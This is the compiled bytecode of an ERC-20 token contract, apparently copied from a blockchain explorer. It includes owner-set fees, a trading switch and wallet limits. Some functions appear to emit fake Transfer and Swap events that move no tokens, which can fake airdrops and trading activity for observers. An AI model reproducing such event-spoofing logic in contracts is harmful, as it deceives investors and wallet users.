fffffffffffffffffffff1614611771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176890614104565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055506001905090565b61179b61223e565b73ffffffffffffffffffffffffffffffffffffffff166117b9611924565b73ffffffffffffffffffffffffffffffffffffffff161461180f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180690614104565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60115481565b61187861223e565b73ffffffffffffffffffffffffffffffffffffffff16611896611924565b73ffffffffffffffffffffffffffffffffffffffff16146118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390614104565b60405180910390fd5b6001600c60016101000a81548160ff0219169083151502179055506001600c60026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b61198261223e565b73ffffffffffffffffffffffffffffffffffffffff166119a0611924565b73ffffffffffffffffffffffffffffffffffffffff16146119f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ed90614104565b60405180910390fd5b80600c60026101000a81548160ff02191690831515021790555050565b606060048054611a2290614244565b80601f0160208091040260200160405190810160405280929190818152602001828054611a4e90614244565b8015611a9b5780601f10611a7057610100808354040283529160200191611a9b565b820191906000526020600020905b815481529060010190602001808311611a7e57829003601f168201915b5050505050905090565b611aad61223e565b73ffffffffffffffffffffffffffffffffffffffff16611acb611924565b73ffffffffffffffffffffffffffffffffffffffff1614611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890614104565b60405180910390fd5b60005b8251811015611bbf57828181518110611b4057611b3f6144f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ba49190613c9d565b60405180910390a38080611bb790614528565b915050611b24565b505050565b611bcc61223e565b73ffffffffffffffffffffffffffffffffffffffff16611bea611924565b73ffffffffffffffffffffffffffffffffffffffff1614611c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3790614104565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc6906145e3565b60405180910390fd5b611cd98282613117565b5050565b60165481565b60005b84849050811015611e6757848482818110611d0457611d036144f9565b5b9050602002016020810190611d199190613be7565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051611d9e949392919061463e565b60405180910390a3848482818110611db957611db86144f9565b5b9050602002016020810190611dce9190613be7565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e4c9190613c9d565b60405180910390a38080611e5f90614528565b915050611ce6565b5050505050565b6000611e82611e7b61223e565b8484612411565b6001905092915050565b611e9461223e565b73ffffffffffffffffffffffffffffffffffffffff16611eb2611924565b73ffffffffffffffffffffffffffffffffffffffff1614611f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eff90614104565b60405180910390fd5b8160138190555080601481905550601454601354611f269190614153565b6012819055505050565b60196020528060005260406000206000915054906101000a900460ff1681565b600c60019054906101000a900460ff1681565b611f6b61223e565b73ffffffffffffffffffffffffffffffffffffffff16611f89611924565b73ffffffffffffffffffffffffffffffffffffffff1614611fdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd690614104565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161207c9190613bcc565b60405180910390a25050565b600e60009054906101000a900460ff1681565b60095481565b600f5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b60105481565b61214261223e565b73ffffffffffffffffffffffffffffffffffffffff16612160611924565b73ffffffffffffffffffffffffffffffffffffffff16146121b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ad90614104565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221d906146f5565b60405180910390fd5b61222f81613051565b50565b60135481565b600b5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ad90614787565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231d90614819565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516124049190613c9d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612481576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612478906148ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e89061493d565b60405180910390fd5b600081141561250b57612506838360006131b8565b61304c565b600c60009054906101000a900460ff1615612bda57612528611924565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125965750612566611924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156125cf5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612609575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126225750600560149054906101000a900460ff16155b15612bd957600c60019054906101000a900460ff1661271c57601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126dc5750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61271b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612712906149a9565b60405180910390fd5b5b600e60009054906101000a900460ff16156128f057612739611924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156127c057507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561281857507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156128ef57436001600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286a9190614153565b106128aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a190614a61565b60405180910390fd5b43600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129935750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612a3a576009548111156129dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d490614af3565b60405180910390fd5b600b546129e983611610565b826129f49190614153565b1115612a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2c90614b5f565b60405180910390fd5b612bd8565b601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612add5750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b2c57600954811115612b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1e90614bf1565b60405180910390fd5b612bd7565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612bd657600b54612b8983611610565b82612b949190614153565b1115612bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bcc90614b5f565b60405180910390fd5b5b5b5b5b5b6000612be530611610565b90506000600a548210159050808015612c0a5750600c60029054906101000a900460ff165b8015612c235750600560149054906101000a900460ff16155b8015612c795750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612ccf5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d255750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d69576001600560146101000a81548160ff021916908315150217905550612d4d613439565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e1f5750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e2957600090505b6000811561303c57601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e8c57506000601254115b15612f2657612eb96064612eab6012548861364690919063ffffffff16565b61365c90919063ffffffff16565b905060125460135482612ecc9190614c11565b612ed69190614c9a565b60156000828254612ee79190614153565b9250508190555060125460145482612eff9190614c11565b612f099190614c9a565b60166000828254612f1a9190614153565b92505081905550613018565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612f8157506000600f54115b1561301757612fae6064612fa0600f548861364690919063ffffffff16565b61365c90919063ffffffff16565b9050600f5460105482612fc19190614c11565b612fcb9190614c9a565b60156000828254612fdc9190614153565b92505081905550600f5460115482612ff49190614c11565b612ffe9190614c9a565b6016600082825461300f9190614153565b925050819055505b5b600081111561302d5761302c8730836131b8565b5b80856130399190614ccb565b94505b6130478787876131b8565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161321f906148ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161328f9061493d565b60405180910390fd5b6132a3838383613672565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161332090614d71565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546133bc9190614153565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516134209190613c9d565b60405180910390a3613433848484613677565b50505050565b600061344430611610565b905060006016546015546134589190614153565b905060008083148061346a5750600082145b1561347757505050613644565b6014600a546134869190614c11565b83111561349f576014600a5461349c9190614c11565b92505b6000600283601554866134b29190614c11565b6134bc9190614c9a565b6134c69190614c9a565b905060006134dd828661367c90919063ffffffff16565b905060004790506134ed82613692565b6000613502824761367c90919063ffffffff16565b9050600061352d8761351f6016548561364690919063ffffffff16565b61365c90919063ffffffff16565b90506000818361353d9190614ccb565b905060006015819055506000601681905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260405161359590614dc2565b60006040518083038185875af1925050503d80600081146135d2576040519150601f19603f3d011682016040523d82523d6000602084013e6135d7565b606091505b5050809750506000861180156135ed5750600081115b1561363a576135fc86826138de565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858260155460405161363193929190614dd7565b60405180910390a15b5050505050505050505b565b600081836136549190614c11565b905092915050565b6000818361366a9190614c9a565b905092915050565b505050565b505050565b6000818361368a9190614ccb565b905092915050565b6000600267ffffffffffffffff8111156136af576136ae613e4a565b5b6040519080825280602002602001820160405280156136dd5781602001602082028036833780820191505090505b50905030816000815181106136f5576136f46144f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561379557600080fd5b505afa1580156137a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137cd9190614e23565b816001815181106137e1576137e06144f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613846307f000000000000000000000000000000000000000000000000000000000000000084612246565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016138a8959493929190614f0e565b600060405180830381600087803b1580156138c257600080fd5b505af11580156138d6573d6000803e3d6000fd5b505050505050565b613909307f000000000000000000000000000000000000000000000000000000000000000084612246565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613953611924565b426040518863ffffffff1660e01b815260040161397596959493929190614f68565b6060604051808303818588803b15801561398e57600080fd5b505af11580156139a2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906139c79190614fc9565b5050505050565b6000604051905090565b600080fd5b600080fd5b6000819050919050565b6139f5816139e2565b8114613a0057600080fd5b50565b600081359050613a12816139ec565b92915050565b60008060408385031215613a2f57613a2e6139d8565b5b6000613a3d85828601613a03565b9250506020613a4e85828601613a03565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613a92578082015181840152602081019050613a77565b83811115613aa1576000848401525b50505050565b6000601f19601f8301169050919050565b6000613ac382613a58565b613acd8185613a63565b9350613add818560208601613a74565b613ae681613aa7565b840191505092915050565b60006020820190508181036000830152613b0b8184613ab8565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b3e82613b13565b9050919050565b613b4e81613b33565b8114613b5957600080fd5b50565b600081359050613b6b81613b45565b92915050565b60008060408385031215613b8857613b876139d8565b5b6000613b9685828601613b5c565b9250506020613ba785828601613a03565b9150509250929050565b60008115159050919050565b613bc681613bb1565b82525050565b6000602082019050613be16000830184613bbd565b92915050565b600060208284031215613bfd57613bfc6139d8565b5b6000613c0b84828501613b5c565b91505092915050565b6000819050919050565b6000613c39613c34613c2f84613b13565b613c14565b613b13565b9050919050565b6000613c4b82613c1e565b9050919050565b6000613c5d82613c40565b9050919050565b613c6d81613c52565b82525050565b6000602082019050613c886000830184613c64565b92915050565b613c97816139e2565b82525050565b6000602082019050613cb26000830184613c8e565b92915050565b600080600060608486031215613cd157613cd06139d8565b5b6000613cdf86828701613b5c565b9350506020613cf086828701613b5c565b9250506040613d0186828701613a03565b9150509250925092565b613d1481613b33565b82525050565b6000602082019050613d2f6000830184613d0b565b92915050565b600060ff82169050919050565b613d4b81613d35565b82525050565b6000602082019050613d666000830184613d42565b92915050565b60008060408385031215613d8357613d826139d8565b5b6000613d9185828601613b5c565b9250506020613da285828601613b5c565b9150509250929050565b613db581613bb1565b8114613dc057600080fd5b50565b600081359050613dd281613dac565b92915050565b60008060408385031215613def57613dee6139d8565b5b6000613dfd85828601613b5c565b9250506020613e0e85828601613dc3565b9150509250929050565b600060208284031215613e2e57613e2d6139d8565b5b6000613e3c84828501613dc3565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613e8282613aa7565b810181811067ffffffffffffffff82111715613ea157613ea0613e4a565b5b80604052505050565b6000613eb46139ce565b9050613ec08282613e79565b919050565b600067ffffffffffffffff821115613ee057613edf613e4a565b5b602082029050602081019050919050565b600080fd5b6000613f09613f0484613ec5565b613eaa565b90508083825260208201905060208402830185811115613f2c57613f2b613ef1565b5b835b81811015613f555780613f418882613b5c565b845260208401935050602081019050613f2e565b5050509392505050565b600082601f830112613f7457613f73613e45565b5b8135613f84848260208601613ef6565b91505092915050565b60008060408385031215613fa457613fa36139d8565b5b600083013567ffffffffffffffff811115613fc257613fc16139dd565b5b613fce85828601613f5f565b9250506020613fdf85828601613a03565b9150509250929050565b600080fd5b60008083601f84011261400457614003613e45565b5b8235905067ffffffffffffffff81111561402157614020613fe9565b5b60208301915083602082028301111561403d5761403c613ef1565b5b9250929050565b6000806000806060858703121561405e5761405d6139d8565b5b600085013567ffffffffffffffff81111561407c5761407b6139dd565b5b61408887828801613fee565b9450945050602061409b87828801613a03565b92505060406140ac87828801613a03565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006140ee602083613a63565b91506140f9826140b8565b602082019050919050565b6000602082019050818103600083015261411d816140e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061415e826139e2565b9150614169836139e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561419e5761419d614124565b5b828201905092915050565b7f53656c6c20466565000000000000000000000000000000000000000000000000600082015250565b60006141df600883613a63565b91506141ea826141a9565b602082019050919050565b6000602082019050818103600083015261420e816141d2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061425c57607f821691505b602082108114156142705761426f614215565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006142d2602883613a63565b91506142dd82614276565b604082019050919050565b60006020820190508181036000830152614301816142c5565b9050919050565b7f5f746f6b656e20616464726573732063616e6e6f742062652030000000000000600082015250565b600061433e601a83613a63565b915061434982614308565b602082019050919050565b6000602082019050818103600083015261436d81614331565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e7300000000600082015250565b60006143aa601c83613a63565b91506143b582614374565b602082019050919050565b600060208201905081810360008301526143d98161439d565b9050919050565b6000815190506143ef816139ec565b92915050565b60006020828403121561440b5761440a6139d8565b5b6000614419848285016143e0565b91505092915050565b60006040820190506144376000830185613d0b565b6144446020830184613c8e565b9392505050565b60008151905061445a81613dac565b92915050565b600060208284031215614476576144756139d8565b5b60006144848482850161444b565b91505092915050565b7f4275792046656500000000000000000000000000000000000000000000000000600082015250565b60006144c3600783613a63565b91506144ce8261448d565b602082019050919050565b600060208201905081810360008301526144f2816144b6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614533826139e2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561456657614565614124565b5b600182019050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006145cd603983613a63565b91506145d882614571565b604082019050919050565b600060208201905081810360008301526145fc816145c0565b9050919050565b6000819050919050565b600061462861462361461e84614603565b613c14565b6139e2565b9050919050565b6146388161460d565b82525050565b60006080820190506146536000830187613c8e565b614660602083018661462f565b61466d604083018561462f565b61467a6060830184613c8e565b95945050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006146df602683613a63565b91506146ea82614683565b604082019050919050565b6000602082019050818103600083015261470e816146d2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614771602483613a63565b915061477c82614715565b604082019050919050565b600060208201905081810360008301526147a081614764565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614803602283613a63565b915061480e826147a7565b604082019050919050565b60006020820190508181036000830152614832816147f6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614895602583613a63565b91506148a082614839565b604082019050919050565b600060208201905081810360008301526148c481614888565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614927602383613a63565b9150614932826148cb565b604082019050919050565b600060208201905081810360008301526149568161491a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614993601683613a63565b915061499e8261495d565b602082019050919050565b600060208201905081810360008301526149c281614986565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e65207075726368617365207065722074776f206260208201527f6c6f636b7320616c6c6f7765642e000000000000000000000000000000000000604082015250565b6000614a4b604e83613a63565b9150614a56826149c9565b606082019050919050565b60006020820190508181036000830152614a7a81614a3e565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614add603583613a63565b9150614ae882614a81565b604082019050919050565b60006020820190508181036000830152614b0c81614ad0565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614b49601383613a63565b9150614b5482614b13565b602082019050919050565b60006020820190508181036000830152614b7881614b3c565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000614bdb603683613a63565b9150614be682614b7f565b604082019050919050565b60006020820190508181036000830152614c0a81614bce565b9050919050565b6000614c1c826139e2565b9150614c27836139e2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614c6057614c5f614124565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614ca5826139e2565b9150614cb0836139e2565b925082614cc057614cbf614c6b565b5b828204905092915050565b6000614cd6826139e2565b9150614ce1836139e2565b925082821015614cf457614cf3614124565b5b828203905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614d5b602683613a63565b9150614d6682614cff565b604082019050919050565b60006020820190508181036000830152614d8a81614d4e565b9050919050565b600081905092915050565b50565b6000614dac600083614d91565b9150614db782614d9c565b600082019050919050565b6000614dcd82614d9f565b9150819050919050565b6000606082019050614dec6000830186613c8e565b614df96020830185613c8e565b614e066040830184613c8e565b949350505050565b600081519050614e1d81613b45565b92915050565b600060208284031215614e3957614e386139d8565b5b6000614e4784828501614e0e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614e8581613b33565b82525050565b6000614e978383614e7c565b60208301905092915050565b6000602082019050919050565b6000614ebb82614e50565b614ec58185614e5b565b9350614ed083614e6c565b8060005b83811015614f01578151614ee88882614e8b565b9750614ef383614ea3565b925050600181019050614ed4565b5085935050505092915050565b600060a082019050614f236000830188613c8e565b614f30602083018761462f565b8181036040830152614f428186614eb0565b9050614f516060830185613d0b565b614f5e6080830184613c8e565b9695505050505050565b600060c082019050614f7d6000830189613d0b565b614f8a6020830188613c8e565b614f97604083018761462f565b614fa4606083018661462f565b614fb16080830185613d0b565b614fbe60a0830184613c8e565b979650505050505050565b600080600060608486031215614fe257614fe16139d8565b5b6000614ff0868287016143e0565b9350506020615001868287016143e0565b9250506040615012868287016143e0565b915050925092509256fea2646970667358221220f41f13e7970e6b60fed1654613f34f243311b5dddb8181dc6c8b4837cba9002964736f6c63430008090033

Deployed Bytecode

0x6080604052600436106102b25760003560e01c80637bce5a0411610175578063b390c0ab116100dc578063d85ba06311610095578063f11a24d31161006f578063f11a24d314610a89578063f2fde38b14610ab4578063f637434214610add578063f8b45b0514610b08576102b9565b8063d85ba063146109f6578063dd62ed3e14610a21578063e2f4560514610a5e576102b9565b8063b390c0ab146108e6578063b62496f51461090f578063bbc0c7421461094c578063c024666814610977578063c876d0b9146109a0578063c8c8ebe4146109cb576102b9565b806395d89b411161012e57806395d89b41146107d857806397123415146108035780639a7a23d61461082c5780639fccce3214610855578063a1c617f514610880578063a9059cbb146108a9576102b9565b80637bce5a04146106ec5780638a8c523c146107175780638da5cb5b1461072e5780638ea5220f146107595780639213691314610784578063924de9b7146107af576102b9565b80633ccfd60b116102195780636a486a8e116101d25780636a486a8e146105ee5780636ddd17131461061957806370a0823114610644578063715018a614610681578063751039fc146106985780637571336a146106c3576102b9565b80633ccfd60b146104f257806349bd5a5e146105095780634a62bb65146105345780634fbee1931461055f57806366ca9b831461059c57806366d38203146105c5576102b9565b80631816467f1161026b5780631816467f146103e25780631a8145bb1461040b57806323b872dd1461043657806327c8f83514610473578063313ce5671461049e5780633aeac4e1146104c9576102b9565b806302dbd8f8146102be57806306fdde03146102e7578063095ea7b31461031257806310d5de531461034f5780631694505e1461038c57806318160ddd146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e09190613a18565b610b33565b005b3480156102f357600080fd5b506102fc610c1d565b6040516103099190613af1565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190613b71565b610caf565b6040516103469190613bcc565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190613be7565b610ccd565b6040516103839190613bcc565b60405180910390f35b34801561039857600080fd5b506103a1610ced565b6040516103ae9190613c73565b60405180910390f35b3480156103c357600080fd5b506103cc610d11565b6040516103d99190613c9d565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190613be7565b610d1b565b005b34801561041757600080fd5b50610420610e57565b60405161042d9190613c9d565b60405180910390f35b34801561044257600080fd5b5061045d60048036038101906104589190613cb8565b610e5d565b60405161046a9190613bcc565b60405180910390f35b34801561047f57600080fd5b50610488610f55565b6040516104959190613d1a565b60405180910390f35b3480156104aa57600080fd5b506104b3610f5b565b6040516104c09190613d51565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190613d6c565b610f64565b005b3480156104fe57600080fd5b506105076111df565b005b34801561051557600080fd5b5061051e6113c0565b60405161052b9190613d1a565b60405180910390f35b34801561054057600080fd5b506105496113e4565b6040516105569190613bcc565b60405180910390f35b34801561056b57600080fd5b5061058660048036038101906105819190613be7565b6113f7565b6040516105939190613bcc565b60405180910390f35b3480156105a857600080fd5b506105c360048036038101906105be9190613a18565b61144d565b005b3480156105d157600080fd5b506105ec60048036038101906105e79190613be7565b611537565b005b3480156105fa57600080fd5b506106036115f7565b6040516106109190613c9d565b60405180910390f35b34801561062557600080fd5b5061062e6115fd565b60405161063b9190613bcc565b60405180910390f35b34801561065057600080fd5b5061066b60048036038101906106669190613be7565b611610565b6040516106789190613c9d565b60405180910390f35b34801561068d57600080fd5b50610696611658565b005b3480156106a457600080fd5b506106ad6116f3565b6040516106ba9190613bcc565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190613dd8565b611793565b005b3480156106f857600080fd5b5061070161186a565b60405161070e9190613c9d565b60405180910390f35b34801561072357600080fd5b5061072c611870565b005b34801561073a57600080fd5b50610743611924565b6040516107509190613d1a565b60405180910390f35b34801561076557600080fd5b5061076e61194e565b60405161077b9190613d1a565b60405180910390f35b34801561079057600080fd5b50610799611974565b6040516107a69190613c9d565b60405180910390f35b3480156107bb5760